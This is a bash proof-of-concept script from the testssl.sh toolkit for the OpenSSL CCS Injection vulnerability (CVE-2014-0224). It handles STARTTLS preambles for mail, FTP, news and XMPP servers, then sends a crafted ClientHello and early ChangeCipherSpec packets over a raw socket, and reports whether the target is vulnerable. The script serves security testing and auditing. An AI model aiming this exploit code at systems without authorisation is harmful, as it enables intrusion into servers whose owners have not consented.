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testssl.sh/utils/ccs-injection.bash

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#!/usr/bin/env bash
# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224),
# see https://www.openssl.org/news/secadv_20140605.txt
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
#
# sockets inspired by http://blog.chris007.de/?p=238
# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
# thx Ramon de C Valle
#
# handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
trap "cleanup" QUIT EXIT
[ -z "$1" ] && exit 1
NODE="$1"
PORT="443"
JABBERNODE=${JABBERNODE}
SLEEP=2
MAXSLEEP=10
OCKREPLY=""
COL_WIDTH=32
DEBUG=${DEBUG:-0}
HELLO_READBYTES=${HELLO_READBYTES:-65535}
TLSV=${2:-01}
# TLS 1.0=x01 1.1=0x02, 1.2=0x3
# the PoC contains per default only check for TLS1.0 as the is the least common denominator
ccs_message="\x14\x03\x$TLSV\x00\x01\x01"
client_hello="
# TLS header ( 5 bytes)
,x16, # Content type (x16 for handshake)
x03, x$TLSV, # TLS Version
x00, x93, # Length total
# Handshake header
x01, # Type (x01 for ClientHello)
x00, x00, x8f, # Length client hello
x03, x$TLSV, # TLS Version
x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes
xf5, xa3, x89, xca, x7a, xd9, xb4, xab,
x3f, xd3, x22, x21, x5e, xc4, x65, x0d,
x1e, xce, xed, xc2,
x00, # Session ID length
x00, x68, # Cipher suites length
xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
xc0, x12,
xc0, x11,
xc0, x10,
xc0, x0f,
xc0, x0e,
xc0, x0d,
xc0, x0c,
xc0, x0b,
xc0, x0a,
xc0, x09,
xc0, x08,
xc0, x07,
xc0, x06,
xc0, x05,
xc0, x04,
xc0, x03,
xc0, x02,
xc0, x01,
x00, x39,
x00, x38,
x00, x37,
x00, x36,
x00, x35,
x00, x34,
x00, x33,
x00, x32,
x00, x31,
x00, x30,
x00, x2f,
x00, x16,
x00, x15,
x00, x14,
x00, x13,
x00, x12,
x00, x11,
x00, x10,
x00, x0f,
x00, x0e,
x00, x0d,
x00, x0c,
x00, x0b,
x00, x0a,
x00, x09,
x00, x08,
x00, x07,
x00, x06,
x00, x05,
x00, x04,
x00, x03,
x00, x02,
x00, x01, # TLS_RSA_WITH_NULL_MD5
x01, x00" # compression methods length (1) + Compression method(1)
#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
parse_hn_port() {
# strip "https", supposed it was supplied additionally
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
# strip trailing urlpath
NODE=`echo $NODE | sed -e 's/\/.*$//'`
# determine port, supposed it was supplied additionally
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
echo -e "\n===> connecting to $NODE:$PORT\n"
}
debugme() {
[[ $DEBUG -ge 2 ]] && "$@"
}
wait_kill(){
pid=$1
maxsleep=$2
while true; do
if ! ps $pid >/dev/null ; then
return 0 # didn't reach maxsleep yet
fi
sleep 1
maxsleep=$((maxsleep - 1))
test $maxsleep -eq 0 && break
done # needs to be killed:
kill $pid >&2 2>/dev/null
wait $pid 2>/dev/null
return 3 # killed
}
starttls_just_read(){
echo "=== just read banner ==="
cat <&5 &
wait_kill $! $SLEEP
}
socksend() {
data=`echo $1`
echo "\"$data\""
echo -en "$data" >&5 &
sleep $SLEEP
}
sockread() {
[[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
ret=0
ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
wait_kill $! $maxsleep
ret=$?
SOCKREPLY=$(cat $ddreply)
rm $ddreply
return $ret
}
# arg1: string to send
# arg2: possible success strings a egrep pattern, needed!
starttls_line0() {
reply=$(mktemp /tmp/reply.XXXXXX) || return 7
debugme echo -e "\n=== sending \"$1\" ..."
echo -e "$1" >&5
dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
wait_kill $! $SLEEP
debugme echo "... received result: "
cat $reply
if [ -n "$2" ]; then
if grep -Eq "$2" $reply; then
debugme echo "---> reply matched \"$2\""
[ $DEBUG -eq 0 ] && rm $reply
return 0
else
debugme echo "---> reply didn't match \"$2\", see $reply"
fixme "STARTTLS handshake problem"
exit 1
fi
fi
}
starttls_line1() {
echo "$1" >&5
while true; do
read line <&5
echo $line
break
done
}
fixme(){
tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
}
ok_ids() {
echo
tput bold; tput setaf 2; echo "ok -- something reset our ccs packets"; tput sgr0
echo
exit 0
}
fd_socket(){
local jabber=""
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "`basename $0`: unable to connect to $NODE:$PORT"
exit 2
fi
case "$1" in # port
21) # https://tools.ietf.org/html/rfc4217
starttls_just_read
starttls_line0 "FEAT" "211"
#starttls_line0 HELP "214"
starttls_line0 "AUTH TLS" "successful|234"
;;
25) # SMTP, see https://tools.ietf.org/html/rfc4217
starttls_just_read
starttls_line0 "EHLO testssl.sh" "220|250"
starttls_line0 "STARTTLS" "220"
;;
110) # POP, see https://tools.ietf.org/html/rfc2595
starttls_just_read
starttls_line0 "STLS" "OK"
;;
119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
starttls_just_read
starttls_line0 "CAPABILITIES" "101|200"
starttls_line0 "STARTTLS" "382"
;;
143) # IMAP, https://tools.ietf.org/html/rfc2595
starttls_just_read
starttls_line0 "a001 CAPABILITY" "OK"
starttls_line0 "a002 STARTTLS" "OK"
;;
389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
fixme "LDAP: FIXME not yet implemented"
exit 1
;;
674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
fixme "ACAP: FIXME not yet implemented"
exit 1
;;
5222) # XMPP, see https://tools.ietf.org/html/rfc6120
starttls_just_read
# following would be without hostname, jabber.org doesn't need it, others do!
#starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
[ -z $JABBERNODE ] && JABBERNODE="$NODE"
# as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
# supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
jabber=$(cat <<EOF
<?xml version='1.0' ?>
<stream:stream
xmlns:stream='http://etherx.jabber.org/streams'
xmlns='jabber:client'
to='$JABBERNODE'
xml:lang='en'
version='1.0'>
EOF
)
starttls_line0 "$jabber"
starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
# BTW: https://xmpp.net !
;;
443|995|993|465|*) # we don't need a special pre-command here
;;
esac
echo
}
close_socket(){
exec 5<&-
exec 5>&-
return 0
}
cleanup() {
close_socket
}
#### main
parse_hn_port
fd_socket $PORT
echo "##### sending standard client hello with TLS version 03,$TLSV:"
socksend "$msg" $TLSV
sleep 1
sockread $HELLO_READBYTES
echo "##### reading server hello ($HELLO_READBYTES bytes):"
if test $DEBUG ; then
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
echo "[...]"
echo
fi
if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
exit 1
fi
echo "##### sending ccs injection payload with TLS version 03,$TLSV (1)"
socksend "$ccs_message" $TLSV || ok_ids
sleep 1
echo "##### sending ccs injection payload with TLS version 03,$TLSV (2)"
socksend "$ccs_message" $TLSV || ok_ids
sleep 1
sockread 65534
echo
echo "###### reply: "
echo "============================="
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
echo "============================="
echo
reply_sanitized=$(echo -e "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//')
test $DEBUG || echo $reply_sanitized
lines=$(echo -e "$SOCKREPLY" | xxd -c32 | wc -l)
test $DEBUG || echo $lines
if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
tput bold; tput setaf 2; echo "ok"; tput sgr0
ret=0
else
tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
ret=1
fi
echo
exit $ret
# vim:ts=5:sw=5:expandtab
# $Id: ccs-injection.bash,v 1.9 2015/07/06 20:01:49 dirkw Exp $
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